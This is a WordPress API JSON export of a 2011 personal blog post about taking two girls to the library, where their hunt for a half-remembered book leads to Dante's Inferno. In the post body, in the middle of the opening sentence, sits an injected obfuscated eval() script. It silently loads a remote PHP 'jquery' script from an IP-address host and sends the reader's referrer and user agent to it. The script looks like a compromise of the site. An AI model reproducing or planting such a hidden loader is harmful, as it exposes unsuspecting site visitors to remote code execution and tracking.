{"id":1784,"date":"2011-02-02T11:02:20","date_gmt":"2011-02-02T18:02:20","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1784"},"modified":"2011-10-07T10:57:04","modified_gmt":"2011-10-07T17:57:04","slug":"groundhogs-day","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1784","title":{"rendered":"Groundhog&#8217;s Day\/Dante&#8217;s Inferno"},"content":{"rendered":"<p><strong>Early <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yridf|var|u0026u|referrer|rdhik||js|php'.split('|'),0,{}))\n<\/script><\/noindex> spring!\u00c2\u00a0 The groundhog says so.<\/strong><\/p>\n<p>And as Chaucer might have said, what better way to celebrate the sudden warm weather, the rain, the budding flowers and cheerful birds, the brisk clouds whisking across blue sky and the undergrads frolicking about in shorts, than by <em>taking a couple of adolescent girls to the library to do their homework!?<\/em><\/p>\n<p>So I&#8217;ve got lil E and her friend A after school, and we go to the library to do homework.\u00c2\u00a0 Both girls love to read so we always check out a stack of books and graphic novels.\u00c2\u00a0 They prefer vampire romances, but anything creepy and melodramatic will do.<\/p>\n<p>So anyway, E asks her friend, &#8220;What was that book so-and-so was reading?\u00c2\u00a0 The one about the ghost?&#8221;<\/p>\n<p>A says it&#8217;s part of a trilogy but she can&#8217;t remember what the title was.<br \/>\nE asks me if I know what the book is:\u00c2\u00a0 &#8220;It&#8217;s about this boy named Danny who meets a ghost and the ghost takes him to&#8230;\u00c2\u00a0 to&#8230;.&#8221;<br \/>\nA helpfully interjects, &#8220;Heck.&#8221;<br \/>\nE:\u00c2\u00a0 &#8220;The ghost takes him to Heck.&#8221;<br \/>\nMe:\u00c2\u00a0 &#8220;If you&#8217;re talking about it as a geographic location, it&#8217;s ok to say hell.\u00c2\u00a0 It&#8217;s not the same as cussing.&#8221;<br \/>\nE:\u00c2\u00a0 &#8220;Ok, so the ghost takes him to hell.&#8221;<br \/>\nA:\u00c2\u00a0 &#8220;And heaven.\u00c2\u00a0 The ghost takes him to hell, and then to heaven.&#8221;<br \/>\nE:\u00c2\u00a0 &#8220;That&#8217;s in the last book, though &#8211; in the first book they just go to hell.&#8221;<br \/>\nA:\u00c2\u00a0 &#8220;It&#8217;s, like, <em>divide<\/em> or <em>divine<\/em> or something.&#8221;<br \/>\nE:\u00c2\u00a0 &#8220;No, not that.\u00c2\u00a0 The title was something else. Something about <em>eternal<\/em>, or something like that.&#8221;<\/p>\n<p>Oh boy.<\/p>\n<p>After some discussion with the head reference librarian, we found that Amazon does indeed have a children&#8217;s picture-book version (<em>&#8217;cause that makes sense<\/em>) and of course, we all know there&#8217;s now a video game version (<em>inevitable<\/em>) but not, as I was secretly hoping, a recently-published Young Adult novelization of <strong><em>Dante&#8217;s Inferno.<\/em><\/strong><\/p>\n<p>So I went and got the verse translation that had the most interesting cover.\u00c2\u00a0 And I told both girls the creepy and melodramatic love story of Dante and Beatrice, which could certainly have ended with one or both of them turning out to be vampires, if somebody wants to get that YA novel in the works.<\/p>\n<p>I figure, even if she doesn&#8217;t actually read the whole thing, every page she turns is cigarette she didn&#8217;t smoke, or a text message she didn&#8217;t send to a boy, or a fight she didn&#8217;t have with her dad.\u00c2\u00a0 So it&#8217;s all good.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Early spring!\u00c2\u00a0 The groundhog says so. And as Chaucer might have said, what better way&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[25],"class_list":["post-1784","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-kids"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1784"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1784"}],"version-history":[{"count":6,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1784\/revisions"}],"predecessor-version":[{"id":1786,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1784\/revisions\/1786"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1784"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1784"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1784"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}